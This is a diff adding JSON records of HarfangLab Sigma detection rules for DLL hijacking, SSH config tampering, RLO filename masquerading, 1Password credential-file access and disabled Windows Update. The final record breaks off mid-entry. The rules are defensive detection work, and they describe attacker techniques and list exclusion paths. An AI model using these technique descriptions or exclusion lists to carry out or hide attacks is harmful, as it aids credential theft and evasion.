+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594277Z",
+  "creation_date": "2026-03-23T11:45:34.594280Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594288Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wbadmin.yml",
+  "content": "title: DLL Hijacking via wbadmin.exe\nid: 5ed28bb8-b225-4f34-936c-2f4d80bc9cd0\ndescription: |\n    Detects potential Windows DLL Hijacking via wbadmin.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wbadmin.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\credui.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5ed28bb8-b225-4f34-936c-2f4d80bc9cd0",
+  "rule_name": "DLL Hijacking via wbadmin.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wbadmin.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5ed4dcef-5d3f-4b96-9778-049416f24d30",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.297519Z",
+  "creation_date": "2026-03-23T11:45:35.297521Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297525Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1021/004/",
+    "https://attack.mitre.org/techniques/T1563/001/",
+    "https://attack.mitre.org/techniques/T1484/"
+  ],
+  "name": "t1021_004_ssh_client_config_modified_linux.yml",
+  "content": "title: SSH Client Configuration Modified\nid: 5ed4dcef-5d3f-4b96-9778-049416f24d30\ndescription: |\n    Detects an attempt to modify the content of the SSH client configuration file.\n    The SSH client configuration contains the security settings used by SSH.\n    An attacker can modify the SSH client configuration to achieve persistence.\n    It is recommended to investigate the context in which these changes were made and eventually the SSH configuration itself for any suspicious configurations.\nreferences:\n    - https://attack.mitre.org/techniques/T1021/004/\n    - https://attack.mitre.org/techniques/T1563/001/\n    - https://attack.mitre.org/techniques/T1484/\ndate: 2022/11/07\nmodified: 2026/03/06\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.004\n    - attack.t1563.001\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1484\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.ConfigChange\n    - classification.Linux.Behavior.ImpairDefenses\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path: '/etc/ssh/ssh_config'\n        - TargetPath: '/etc/ssh/ssh_config'\n\n    filter_read:\n        Kind: 'access'\n        Permissions: 'read'\n\n    filter_chmod:\n        Kind: 'chmod'\n\n    exclusion_ssh:\n        - ProcessImage: '/usr/bin/ssh'\n        - ProcessParentImage: '/usr/bin/ssh'\n    exclusion_scp:\n        - ProcessImage: '/usr/bin/scp'\n        - ProcessParentImage: '/usr/bin/scp'\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/openssh-server.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/openssh-server.postinst configure'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /usr/bin/dnf'\n            - '/usr/bin/python* /bin/dnf'\n    exclusion_apk:\n        ProcessAncestors|contains: '/sbin/apk'\n    exclusion_kaniko:\n        ProcessAncestors|contains: '/kaniko/executor'\n    exclusion_docker:\n        ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/local/bin/dockerd'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_sophos:\n        ProcessImage: '/opt/sophos-av/engine/_/savscand.?'\n\n    exclusion_podman:\n        ProcessImage: '/usr/bin/podman'\n\n    exclusion_sed:\n        ProcessCommandLine|startswith: 'sed -ne'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5ed4dcef-5d3f-4b96-9778-049416f24d30",
+  "rule_name": "SSH Client Configuration Modified",
+  "rule_description": "Detects an attempt to modify the content of the SSH client configuration file.\nThe SSH client configuration contains the security settings used by SSH.\nAn attacker can modify the SSH client configuration to achieve persistence.\nIt is recommended to investigate the context in which these changes were made and eventually the SSH configuration itself for any suspicious configurations.\n",
+  "rule_creation_date": "2022-11-07",
+  "rule_modified_date": "2026-03-06",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.004",
+    "attack.t1484",
+    "attack.t1563.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5f065dc5-d8ee-441d-b1eb-51d0945edf2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069725Z",
+  "creation_date": "2026-03-23T11:45:34.069727Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069731Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.freecodecamp.org/news/rtlo-in-hacking/",
+    "https://attack.mitre.org/techniques/T1036/002/"
+  ],
+  "name": "t1036_002_right_to_left_override.yml",
+  "content": "title: Right-to-Left Override Character Masquerading\nid: 5f065dc5-d8ee-441d-b1eb-51d0945edf2a\ndescription: |\n    Detects a process containing the Right-to-Left Override (RLO) character (U+202E) in its command-line.\n    RLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse.\n    Adversaries may abuse the RLO character to disguise a string and/or file name to make it appear benign.\n    This technique is often used by attackers to make a user execute a malicious executable disguised as a media file (PDF, DOCX, etc.) as part of a phishing attack.\n    It is recommended to investigate the legitimacy of the detected process, as well as the origin of the detected executable.\nreferences:\n    - https://www.freecodecamp.org/news/rtlo-in-hacking/\n    - https://attack.mitre.org/techniques/T1036/002/\ndate: 2025/10/21\nmodified: 2025/11/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine|contains: '‮'\n\n    exclusion_firefox:\n        Image|endswith:\n            - '\\firefox.exe'\n            - '\\waterfox.exe'\n        CommandLine|contains|all:\n            - '-intPrefs'\n            - '-contentproc'\n            - '-isForBrowser'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5f065dc5-d8ee-441d-b1eb-51d0945edf2a",
+  "rule_name": "Right-to-Left Override Character Masquerading",
+  "rule_description": "Detects a process containing the Right-to-Left Override (RLO) character (U+202E) in its command-line.\nRLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse.\nAdversaries may abuse the RLO character to disguise a string and/or file name to make it appear benign.\nThis technique is often used by attackers to make a user execute a malicious executable disguised as a media file (PDF, DOCX, etc.) as part of a phishing attack.\nIt is recommended to investigate the legitimacy of the detected process, as well as the origin of the detected executable.\n",
+  "rule_creation_date": "2025-10-21",
+  "rule_modified_date": "2025-11-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5f0f143a-fd02-4927-a0c4-9cbad45d0ade",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617607Z",
+  "creation_date": "2026-03-23T11:45:34.617609Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617613Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1555/005/"
+  ],
+  "name": "t1552_004_read_1password_sensitive_files_macos.yml",
+  "content": "title: Suspicious Access to 1Password Sensitive Files\nid: 5f0f143a-fd02-4927-a0c4-9cbad45d0ade\ndescription: |\n    Detects a process reading sensitive files related to the 1Password password manager.\n    Adversaries may read the user's password in order to gather credentials and impersonate users on multiple services.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1555/005/\ndate: 2024/06/18\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.005\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        Kind: 'read'\n        Path|startswith: '/Users/*/Library/Application Support/1Password/'\n        ProcessImage|contains: '?'\n\n    filter_1password:\n        Image:\n            - '/Applications/1Password.app/Contents/*'\n            - '/Users/*/Applications/1Password.app/Contents/*'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n\n    exclusion_bitdefender:\n        Image: '/Library/Bitdefender/AVP/product/bin/BDLDaemon.app/Contents/MacOS/BDLDaemon'\n\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_paloalto:\n        Image: '/library/application support/paloaltonetworks/traps/bin/pmd'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'pmd'\n\n    exclusion_cleanmymac:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.macpaw.CleanMyMac*'\n\n    exclusion_rsync:\n        Image: '/usr/bin/rsync'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5f0f143a-fd02-4927-a0c4-9cbad45d0ade",
+  "rule_name": "Suspicious Access to 1Password Sensitive Files",
+  "rule_description": "Detects a process reading sensitive files related to the 1Password password manager.\nAdversaries may read the user's password in order to gather credentials and impersonate users on multiple services.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5f142996-9dfb-41b9-8493-a4b55a4f6ebe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621296Z",
+  "creation_date": "2026-03-23T11:45:34.621298Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621302Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_disable_autoupdate_registry.yml",
+  "content": "title: Windows Update Disabled via Registry\nid: 5f142996-9dfb-41b9-8493-a4b55a4f6ebe\ndescription: |\n    Detects when Windows updates are disabled by setting a specific registry key.\n    Adversaries may disable Windows automatic updates to weaken the security level of the target during long time engagement.\n    It is recommended to check if this action is intended or if updates are installed by another mean on the impacted system.\nreferences:\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2023/12/27\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\\NoAutoUpdate'\n        Details|contains: '?WORD' # Any non-zero value works, not just DWORD (0x00000001)\n        ProcessParentImage|contains: '?'\n\n    filter_zero:\n        Details: '?WORD (0x00000000)'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_image:\n        - ProcessImage: '?:\\Windows\\System32\\uwfmgr.exe'\n        - ProcessParentImage:\n            - '?:\\Program Files (x86)\\wapt\\waptservice.exe'\n            - '?:\\wapt\\waptservice.exe'\n        - ProcessGrandparentImage:\n            - '?:\\Program Files\\ATERA Networks\\AteraAgent\\\\*\\AgentPackageSystemTools\\AgentPackageSystemTools.exe'\n            - '?:\\Windows\\CCM\\CcmExec.exe'\n            - '?:\\Windows\\Action1\\action1_agent.exe'\n\n    exclusion_deviceenroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n        ProcessCommandLine|contains|all:\n            - ' /o '\n            - ' /c /b'\n        ProcessParentCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n\n    exclusion_centrastage1:\n        ProcessProcessName: 'CagService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Datto Inc'\n    exclusion_centrastage2:\n        ProcessParentCommandLine|startswith:\n            - 'powershell -executionpolicy bypass & ??:\\ProgramData\\CentraStage\\Packages\\'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\ProgramData\\CentraStage\\Packages\\'\n\n    exclusion_patchman:\n        ProcessProcessName: 'PME.Agent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'N-ABLE TECHNOLOGIES LTD'\n\n    exclusion_fsecure:\n        ProcessProcessName: 'fssua.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'WithSecure Oyj'\n            - 'F-Secure Corporation'\n\n    exclusion_ninjarmmagent:\n        ProcessImage|endswith: '\\NinjaRMMAgent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NinjaRMM, LLC'\n\n    exclusion_labtech:\n        ProcessImage|endswith: '\\LTSVC.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Connectwise, LLC'\n\n    exclusion_zoomroom:\n        ProcessImage|endswith:\n            - '\\zJob.exe'\n            - '\\ZoomRooms.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Zoom Video Communications, Inc.'\n\n    exclusion_winbootstrap:\n        - ProcessParentImage|endswith: '\\TSManager.exe'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature: 'Microsoft Corporation'\n        - ProcessParentImage|endswith: 'TSMBootstrap.exe'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature: 'Microsoft Corporation'\n        - ProcessGrandparentImage|endswith: '\\TSManager.exe'\n          ProcessGrandparentSigned: 'true'\n          ProcessGrandparentSignature: 'Microsoft Corporation'\n        - ProcessGrandparentImage|endswith: 'TSMBootstrap.exe'\n          ProcessGrandparentSigned: 'true'\n          ProcessGrandparentSignature: 'Microsoft Corporation'\n\n    exclusion_automox:\n        - ProcessParentImage:\n            - '?:\\Program Files (x86)\\Automox\\amagent.exe'\n            - '?:\\Program Files\\Automox\\amagent.exe'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature: 'Automox Inc.'\n        - ProcessGrandparentImage:\n            - '?:\\Program Files (x86)\\Automox\\amagent.exe'\n            - '?:\\Program Files\\Automox\\amagent.exe'\n          ProcessGrandparentSigned: 'true'\n          ProcessGrandparentSignature: 'Automox Inc.'\n\n    exclusion_mmragent:\n        ProcessImage: '?:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\ServicePortalAgent\\app-*\\emulator\\MmrAgent.NetFxEmulator.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_ninjarmm:\n        ProcessName: 'NinjaRMMAgent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NinjaOne LLC'\n\n    exclusion_netfxemulator:\n        ProcessName: 'MmrAgent.NetFxEmulator.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_matrix42:\n        - ProcessName: 'setup*.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 